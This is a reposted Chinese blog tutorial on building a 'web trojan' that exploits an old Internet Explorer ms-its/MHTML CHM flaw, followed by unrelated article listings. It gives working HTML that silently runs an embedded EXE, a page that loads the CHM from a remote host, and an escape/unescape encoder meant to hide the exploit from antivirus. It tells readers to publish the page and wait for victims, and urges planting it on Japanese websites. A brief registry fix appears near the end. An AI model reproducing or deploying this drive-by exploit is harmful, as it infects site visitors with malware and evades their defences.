打造终极网页木马,值得一读!

转载 2004年09月02日 14:05:00

打造终极网页木马,值得一读!

    如果你打开此页看到了类似下面的这个程序窗口,那我就“恭喜”你有“洞洞”了^O^

    r_exe.jpg

    此漏洞被发现已不是一天两天的事了,考虑到用户的安全等因素,微软以及一些安全组织并没有公开发布此漏洞,只是近日发现网络上有越来越多的利用该漏洞捆绑木马的网页后美国计算机应急响应小组(Computer Emergency Readiness Team,简称CERT) 才正式公布了微软IE浏览器中存在的一个最新漏洞,目前这一漏洞还没有完善的解决方案,用户即使采取了一定的保护措施仍然不能完全避免该漏洞所带来的危险。利用这一漏洞,入侵者可以欺骗IE浏览器中的InfoTech Storage(ITS)协议处理器,使之从其它域获取脚本,并获得同目标计算机上本地区域相同的权限。CERT指出,入侵者在访问某一网站时通过使用一个特殊的URL地址就可以执行上述脚本,从而获得他人的信用卡信息甚至是造成整个网络瘫痪。这一漏洞的工作原理如下:IE浏览器通过ITS或者MHTML协议来标识一个不能访问或是不存在的MHTML文件;当IE浏览器没 有发现编译完成的HTML帮助文件(CHM)时,ITS协议处理器就可能会受到欺骗从而访问来自其它域的CHM文件。此时入侵者就可以通过对CHM文件进行精心设计,使之包含可以从其它域执行的脚本,从而交叉域安全模式也就被入侵者攻破了。

    闲话少说,立即进入正题。实现起来非常简单,相信稍微懂一点Html的人都能手动实现的。

第一步:写一个能够自动运行EXE文件的网页,文件内容很简单,如下:

<BODY onmouseup=document.selection.empty() oncontextmenu="return false" onselectstart="return false" ondragstart="return false" onbeforecopy="return false" oncopy=document.selection.empty() onselect=document.selection.empty()>
<OBJECT id=RUNIT codeBase=IEPack.exe type=application/x-oleobject height=0 width=0 OBJECT>

Body标签内进行了一些访问控制,屏蔽了鼠标进行选择、屏蔽鼠标右键、屏蔽鼠标的拖拽操作、防止Copy等等。第二个标签是负载EXE的代码,通过OBJECT标签负载一个二进制文件,注意这里的type类型为"application/x-oleobject",上面的代码在object中加入了一个名为"IEPack.exe"的执行文件,如果这时直接打开此html,你就会发现EXE文件也神奇的运行起来了,聪明的你是不是已经看出来点什么了?

第二步:将上面的的代码存成文件,暂定为"chm.html",并且把object标签内设定的EXE文件和网页放在同一个目录。不要以为这样就能运行了,IE不会主动下载服务器上的执行文件的。当然办法是有的,随便找个CHM制作工具,将这个页面和EXE文件一并打入CHM后打开CHM文件你就发现EXE也是同样的运行起来了。在这里我推荐用EasyCHM,很好用的。下载地址??~!@#$%^自己用狗狗搜去吧。

第三步:这一步最关键,这也是利用漏洞之所在!

再建立一个htm文件mm.htm,写入以下代码:

<BODY onmouseup=document.selection.empty() oncontextmenu="return false" onselectstart="return false" ondragstart="return false" onbeforecopy="return false" oncopy=document.selection.empty() onselect=document.selection.empty()>
<TEXTAREA id=code style="DISPLAY: none">
<object data="ms-its:mhtml:file://c:/foo.mht!${path}/help.chm::/chm.html" type="text/x-scriptlet"></object>
</TEXTAREA>
<SCRIPT language=javascript>
document.write(code.value.replace(//${path}/g,location.href.substring(0,location.href.indexOf('chm.html'))));
</SCRIPT>
<OBJECT type="text/x-scriptlet" data="ms-its:mhtml:file://c:/foo.mht!http://duduwolf.winzheng.com/public/IEpack/help.chm::/chm.html"></OBJECT>

呵呵,如果觉得看起来乱七八糟的话建议将以上代码copy到htm编辑器中查看,就容易的多了,代码中第一个标签body和前面一个一样。第二个为textarea标签,请注意里面包含了一个object标签,这个标签就用到了IE的ms-its漏洞,data的值是一串带ms-its协议的文件路径,其中的${path}只是为了掩人耳目罢了,紧接着看第三个标签,是一段javascript脚本,脚本的内容就是把textarea里的值(即那段<object .....></object>)进行字符替换,要替换的内容就是${path}前面的所有字符,大家要奇怪,这里为什么要替换呢,好好的直接写进去难道不行吗?当然不行!!
    因为IE在下在此页面后,谁都不知道它把这个页面的本地临时文件放到那个位置,你不知道位置,当然无法run chm里面的那个EXE了,所以用代码里用location.href.substring(0,location.href.indexOf('chm.html'))得到了本地临时页面的全路径。location.href返回的就是当前页面的全路径文件名,然后用substring一选就很轻松得到路径了,再用replace替换,轻轻松松就得到chm文件的全路径名了。哦,这里忘了说,这个IE漏洞的关键就是客户端(IE)会自动下载服务器上的chm文件(抱歉,怎么把最关键的技术给忘了 汗。。。)。
    最后一个标签还是一个object,这个标签的作用就是显示chm里包含的那个htm文件,也就是第一、二步制作的那个chm.html文件。至于代码中两次出现的"ms-its:mhtml:file://c:/foo.mht!",这是ms-its的特定格式,具体什么意思我还没研究呢,等我知道了在告诉你:)

第四步:哈哈,你的最新潮的网页木马大终告成了,不过不要高兴得太早,根据今天我测试的结果,诺顿、赛门铁克、咖啡、瑞星(其他的杀毒没装,不知道)等都能成功截杀该网页木马了,你也不要丧气,我既然写了这篇文章就一定有解决办法的。杀毒软件查杀一个病毒的原理很简单,就是以二进制或者文本方式(脚本病毒)打开此文件,查找特定的病毒特征代码,在这里我估计大多数杀毒软件是查找"ms-its:mhtml:file://c:/foo.mht!"这行相关的,具体我没有再作测试,所以咱们在源代码中尽量避开此串代码就可以躲开杀毒软件的耳目了。躲开的方法很多,我用的是javascript脚本的字符串加密。加密函数是javascript自带的,加密用escape(src),解密用unescape(src),这两个函数执行后返回的就是加/解密后的字符串,在这里我给大家一个现成的,将以下代码copy入一个htm文件用IE打开,剩下的不用我说,地球人都会用!将你精心设计的这个网页发布到网上,然后就等着倒霉蛋中标吧(是不是太黑了?有点心狠手辣?不至于吧?没听乌鸦都说自己是黑客嘛。。。)

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD><TITLE>网页代码加密解密器</TITLE>
<META http-equiv=Content-Type content="text/html; charset=gb2312"><LINK
href="http://a0759.nease.net/images/css.css" type=text/css rel=stylesheet>
<SCRIPT language=JavaScript>
<!--
var i=0;
var ie=(document.all)?1:0;
var ns=(document.layers)?1:0;

function initStyleElements() /* Styles for Buttons Init */
{
var c = document.pad;
if (ie)
{
//c.text.style.backgroundColor="#DDDDDD";
c.compileIt.style.backgroundColor="#C0C0A8";
c.compileIt.style.cursor="hand";
c.select.style.backgroundColor="#C0C0A8";
c.select.style.cursor="hand";
c.view.style.backgroundColor="#C0C0A8";
c.view.style.cursor="hand";
c.retur.style.backgroundColor="#C0C0A8";
c.retur.style.cursor="hand";
c.clear.style.backgroundColor="#C0C0A8";
c.clear.style.cursor="hand";
}
else return;
}

/* Buttons Enlightment of "Compilation" panel */
function LightOn(what)
{
if (ie) what.style.backgroundColor = '#E0E0D0';
else return;
}
function FocusOn(what)
{
if (ie) what.style.backgroundColor = '#EBEBEB';
else return;
}
function LightOut(what)
{
if (ie) what.style.backgroundColor = '#C0C0A8';
else return;
}
function FocusOff(what)
{
if (ie) what.style.backgroundColor = '#DDDDDD';
else return;
}
/* Buttons Enlightment of "Compilation" panel */

function generate() /* Generation of "Compilation" */
{
code = document.pad.text.value;
if (code)
{
document.pad.text.value='正在生成加密代码,请稍后!';
setTimeout("compile()",1000);
}
else alert('请输入源文件代码')
}
function compile() /* The "Compilation" */
{
document.pad.text.value='';
compilation=escape(code);
document.pad.text.value="<script>/n<!--/ndocument.write(unescape(/""+compilation+"/"));/n//-->/n<//script>";
i++;
alert("页面被加密了 "+i+" 次!");
}
function selectCode() /* Selecting "Compilation" for Copying */
{
if(document.pad.text.value.length>0)
{
document.pad.text.focus();
document.pad.text.select();
}
else alert('没有可以选择的文本内容!')
}
function preview() /* Preview for the "Compilation" */
{
if(document.pad.text.value.length>0)
{
pr=window.open("","Preview","scrollbars=1,menubar=1,status=1,width=700,height=320,left=50,top=110");
pr.document.write(document.pad.text.value);
}
else alert('没有可以预浏览的文本内容!')
}
function uncompile() /* Decompiling a "Compilation" */
{
if (document.pad.text.value.length>0)
{
source=unescape(document.pad.text.value);
document.pad.text.value=""+source+"";
}
else alert('你需要生成被加密的代码后才能取回源代码!')
}
// -->
</SCRIPT>

<SCRIPT language=JavaScript type=text/JavaScript>
<!--
function MM_swapImgRestore() { //v3.0
var i,x,a=document.MM_sr; for(i=0;a&&i<a.length&&(x=a[i])&&x.oSrc;i++) x.src=x.oSrc;
}

function MM_preloadImages() { //v3.0
var d=document; if(d.images){ if(!d.MM_p) d.MM_p=new Array();
var i,j=d.MM_p.length,a=MM_preloadImages.arguments; for(i=0; i<a.length; i++)
if (a[i].indexOf("#")!=0){ d.MM_p[j]=new Image; d.MM_p[j++].src=a[i];}}
}

function MM_findObj(n, d) { //v4.01
var p,i,x; if(!d) d=document; if((p=n.indexOf("?"))>0&&parent.frames.length) {
d=parent.frames[n.substring(p+1)].document; n=n.substring(0,p);}
if(!(x=d[n])&&d.all) x=d.all[n]; for (i=0;!x&&i<d.forms.length;i++) x=d.forms[i][n];
for(i=0;!x&&d.layers&&i<d.layers.length;i++) x=MM_findObj(n,d.layers[i].document);
if(!x && d.getElementById) x=d.getElementById(n); return x;
}

function MM_swapImage() { //v3.0
var i,j=0,x,a=MM_swapImage.arguments; document.MM_sr=new Array; for(i=0;i<(a.length-2);i+=3)
if ((x=MM_findObj(a[i]))!=null){document.MM_sr[j++]=x; if(!x.oSrc) x.oSrc=x.src; x.src=a[i+2];}
}
//-->
</SCRIPT>

<META content="MSHTML 6.00.2800.1106" name=GENERATOR></HEAD>
<BODY text=#000000 bgColor=#ffffff
onload="MM_preloadImages('../../images/Close.gif')">
<TABLE cellSpacing=0 cellPadding=0 width=500 align=center border=0>
<TBODY>
<TR>
<TH>网页代码加密解密器</TH></TR>
<TR>
<TD>
<HR width="95%" noShade SIZE=1>
</TD></TR>
<TR>
<TD>
<FORM name=pad method=post align="center"><TEXTAREA class=v9pt style="WIDTH: 100%; BACKGROUND-COLOR: #ebebeb" name=text rows=15 cols=100></TEXTAREA>
<BR><INPUT onmouseover=LightOn(this) onclick=generate() onmouseout=LightOut(this) type=button value=加密代码 name=compileIt>
<INPUT onmouseover=LightOn(this) onclick=selectCode() onmouseout=LightOut(this) type=button value=全选代码 name=select>
<INPUT onmouseover=LightOn(this) onclick=preview() onmouseout=LightOut(this) type=button value=预浏览页面 name=view>
<INPUT onmouseover=LightOn(this) onclick=uncompile() onmouseout=LightOut(this) type=button value=原代码 name=retur>
<INPUT onmouseover=LightOn(this) onmouseout=LightOut(this) type=reset value=清空 name=clear>
</FORM></TD></TR>
<TR>
<TD align=middle><A
onmouseover="MM_swapImage('Image2','','../../images/Close.gif',1)"
onmouseout=MM_swapImgRestore() href="javascript:window.close()"><IMG
height=18 src="http://a0759.nease.net/images/Close-1.gif" width=52
border=0 name=Image2></A></TD></TR></TBODY></TABLE></BODY></HTML>

忘了说明一下,以上代码也是我从网上扒下来的,作者忘了,在这里感谢作者给大家提供一个这么好用的工具!!还有一点需要说明就是加密次数不受限制的,点击一次加密一次,再点再加密,不嫌麻烦你就多点几次,不过这会影响页面解析速度的,页面解析时是一层一层进行解密,加几次就要解几次的。我在测试程序里加密三次,相信加密后地球人都看不懂的:)

打补丁:目前微软还没有提供彻底的解决办法,为了安全,我建议大家进行手动修改注册表屏蔽此漏洞,方法是:
打开注册表,转入HKEY_CLASSES_ROOT/PROTOCOLS/Handle主键下,重命名ms-its键就行了,比如改为:ms-its.bak,如果你在浏览此页面时正如文章开头所说弹出了一个窗体,直接点击那个按钮也可以达到相同的作用。

后记:写这篇文章的目的也就是让大家认识一下那个传中恐怖的网页木马到底是怎么诞生的,什么东西都是人编出来的,这个木马也是我在中毒后用工具一层一层拨开后源代码,细细研究后的成果。最后我给大家推荐几个工具,对于分析网页很有好处。第一个是MyIE2,他的浏览器还能说得过去,让我称赞的是我安装了一个第三方的插件:ViewPage,这个插件很了不起,能快速显示当前页面的页面属性、图像资源、网页源码、Flash、链接列表、CSS、Script等等。有了这个工具你就可以快速知道人家的网页时怎么“炼”成的。第二个要推荐的就是EditPlus文本编辑器,太好用了,真的太好用了。。。。。第三个就是CSDN.BCB版的版主AWeay写的"MySpy"软件,就是用他我才查看到了chm文件的源代码:),推荐的这几款工具大家如果要用的话用狗狗搜吧。

今天是卢沟桥事变日,望大家勿忘国耻!给小日本的网站上全部加上这个木马,嘿嘿。。。

这些安全类书籍值得一读

双11临近,玄魂工作室  准备在 11月10,11,12 三天在微信订阅号,做些小活动。 活动期间会各种方式,为大家送出由我们自己编写的教程,合作伙伴提供的资料。 对外发放的教程和资料清单,会陆续...
  • xuanhun
  • xuanhun
  • 2016年10月22日 09:57
  • 2477

这些安全类书籍值得一读

双11临近,玄魂工作室  准备在 11月10,11,12 三天在微信订阅号,做些小活动。 活动期间会各种方式,为大家送出由我们自己编写的教程,合作伙伴提供的资料。 对外发放的教程和资料清单...
  • ncafei
  • ncafei
  • 2017年01月08日 16:10
  • 898

25个值得一读的人文博客

以下25个人文类博客来自作家、评论家、记者、期刊等。这些博客内容精彩,有一定文化层次,值得读者阅读和订阅。(注:博客排名不分先后)。   下载这25个博客的OPML文件(用于打包导入RSS阅读器)。...
  • haibianfeng
  • haibianfeng
  • 2014年01月26日 20:34
  • 259

值得一读的品牌类好书

俗话说得好,泛读百本不如精读十本。搜集优秀书单时,发现了 崔洪波 写的一篇关于品牌类书单推荐,先搬过来,供品牌咨询人、品牌营销人士阅读。 在 我和正见品牌顾问的伙伴们看来,品牌咨询面临的是一个无...
  • zhenxiaohui
  • zhenxiaohui
  • 2014年01月25日 08:56
  • 982

BT天堂网站挂马事件后续:“大灰狼”远控木马分析及幕后真凶调查

9月初安全团队披露bt天堂网站挂马事件,该网站被利用IE神洞CVE-2014-6332挂马,如果用户没有打补丁或开启安全软件防护,电脑会自动下载执行大灰狼远控木马程序。 鉴于bt天堂电影下载网站访问...
  • u013474557
  • u013474557
  • 2015年11月09日 14:30
  • 871

怎么利用asp木马取得管理权限

前段时间泛滥成灾的动网论坛上传漏洞以及最近接二连三的各种asp系统暴露的上传漏洞,可能很多朋友手中有了很多webshell的肉鸡,至于选择怎么样这些小鸡的方式也是因人而异,有人继续提升权限,进一步入侵...
  • u012971242
  • u012971242
  • 2013年11月27日 11:51
  • 636

新型浏览器劫持木马“暗影鼠”

近日哈勃分析系统截获了一批新型浏览器劫持木马 “暗影鼠”,该木马通常被打包在压缩包内伪装视频播放器通过网页进行传播。该木马的主要功能是对浏览器访问导航页的流量进行劫持,重定向到自己的推广页,非法获取推...
  • u011672712
  • u011672712
  • 2016年06月01日 23:41
  • 973

木马免杀原理详解(一)

木马免杀原理详解 首先来简单了解一下杀毒软件查杀病毒的原理,当前杀毒软件对病毒的查杀主要有特征代码法和行为监测法。其中前一个比较方法古老,又分为文件查杀和内存查杀,杀毒软件公司拿到病毒的样本以后,定...
  • zhx278171313
  • zhx278171313
  • 2013年12月18日 18:29
  • 1584

PHP Web木马扫描器增强版

PHP Web木马扫描器增强版
  • u011986449
  • u011986449
  • 2014年04月11日 18:49
  • 1667

如何根据同行网站来制定SEO优化策略

如何根据同行网站来制定SEO优化策略?如今在互联网高度发达的背景下,各行各业的企业都开始慢慢地融入互联网,这加剧了互联网的行业竞争,而各个网站在搜索引擎上的竞争则是行业竞争的重头戏,其主要表现就是搜索...
  • qq_40800744
  • qq_40800744
  • 2017年11月01日 20:38
  • 5170
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:打造终极网页木马,值得一读!
举报原因:
原因补充:

(最多只允许输入30个字)